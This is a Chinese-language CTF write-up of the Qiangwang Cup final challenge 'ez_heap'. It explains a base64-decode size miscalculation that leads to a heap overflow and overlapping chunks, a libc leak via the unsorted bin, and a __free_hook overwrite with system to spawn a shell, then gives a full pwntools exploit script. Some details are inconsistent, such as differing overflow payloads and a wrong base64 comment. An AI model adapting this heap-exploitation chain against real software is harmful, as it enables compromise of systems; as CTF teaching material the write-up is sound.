强网杯决赛 ez_heap详解
字数 686 2025-08-22 12:22:15
强网杯决赛 ez_heap 漏洞利用详解
1. 程序功能分析
该程序主要提供了两种堆操作方式:
- encode功能:直接分配指定大小的堆块
- decode功能:分配堆块时会先对输入进行base64解码,再存储解码后的内容
关键点在于decode功能的特殊行为:
- 分配大小计算方式:
size = (input_length / 4) * 3 - 当输入长度不是4的倍数时,会存在最多3字节的溢出可能
- 利用base64的补全机制可以构造特定大小的堆块
2. 漏洞点分析
2.1 堆溢出漏洞
通过decode功能的分配计算方式,可以构造特定输入来造成堆溢出:
# 构造0x40大小的输入,实际分配0x30(48)字节
decode('a' * 0x40)
2.2 UAF漏洞
通过精心构造的堆布局,可以保留已释放堆块的指针,造成Use-After-Free。
3. 利用步骤详解
3.1 初始堆布局
encode('a' * 0x20) # 分配一个小堆块
decode('a' * 0x40) # 分配两个0x30大小的堆块
decode('a' * 0x40)
dele_encode(0) # 释放第一个堆块
3.2 构造堆重叠
通过精心构造的payload造成堆块重叠:
pl = b"a" * 72 + b"A" # 72字节 + 1字节 = 73字节
decode(pl) # (73/4)*3 = 54.75 → 实际分配54字节
这个操作会导致堆块大小被修改为0x80,从而与后续操作形成堆重叠。
3.3 泄露libc地址
# 分配大堆块
encode("C" * 0x360)
encode("C" * 0x20)
dele_encode(0) # 释放大堆块进入unsorted bin
# 触发泄露
decode("YWFhYWFhYWFh") # "aaaaaaa"的base64编码
show_de(3) # 显示内容泄露libc地址
# 计算libc基址
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecf61
leak("libc.address", libc.address)
3.4 修改free_hook
利用堆重叠修改free_hook为system:
# 构造payload修改free_hook
pl = b"A" * 0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
pl = base64.b64encode(pl.ljust(0x70, b"A"))
decode(pl)
# 写入"/bin/sh"和system地址
decode(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
decode(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))
# 触发free("/bin/sh") → system("/bin/sh")
dele_decode(1)
4. 完整利用代码
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
# 设置环境
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# 功能定义
encode_idx = 1
decode_idx = 2
dele_encode_idx = 3
dele_decode_idx = 4
show_en_idx = 5
show_de_idx = 6
def choice(cho):
sla('Enter your choice: \n', cho)
def encode(content):
choice(encode_idx)
sla('Enter the text to encode: \n', content)
def decode(content):
choice(decode_idx)
sla('Enter the text to decode: \n', content)
def dele_encode(idx):
choice(dele_encode_idx)
sla("idx: \n", idx)
def dele_decode(idx):
choice(dele_decode_idx)
sla("idx: \n", idx)
def show_en(idx):
choice(show_en_idx)
sla("idx: \n", idx)
def show_de(idx):
choice(show_de_idx)
sla("idx: \n", idx)
# 初始堆布局
encode('a' * 0x20)
decode('a' * 0x40)
decode('a' * 0x40)
dele_encode(0)
# 构造堆重叠
pl = b"aa" * (0x38 // 2 + 8) + b"="
decode(pl)
# 泄露libc地址
encode("C" * 0x360)
encode("C" * 0x20)
dele_encode(0)
decode("YWFhYWFhYWFh") # "aaaaaaa"的base64
show_de(3)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecf61
leak("libc.address", libc.address)
# 清理堆
dele_decode(0)
dele_encode(1)
dele_decode(1)
# 修改free_hook
pl = b"A" * 0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
pl = base64.b64encode(pl.ljust(0x70, b"A"))
decode(pl)
# 写入/bin/sh和system
decode(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
decode(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))
# 触发shell
dele_decode(1)
# 交互模式
itr()
5. 关键点总结
- base64解码特性利用:通过非4的倍数的输入长度造成堆溢出
- 堆布局构造:精心安排堆块大小和释放顺序以制造堆重叠
- unsorted bin泄露:通过释放大堆块到unsorted bin泄露libc地址
- free_hook劫持:利用堆重叠修改free_hook为system获取shell
这个利用过程展示了如何结合多种堆漏洞(溢出、UAF)以及libc特性实现完整的漏洞利用链。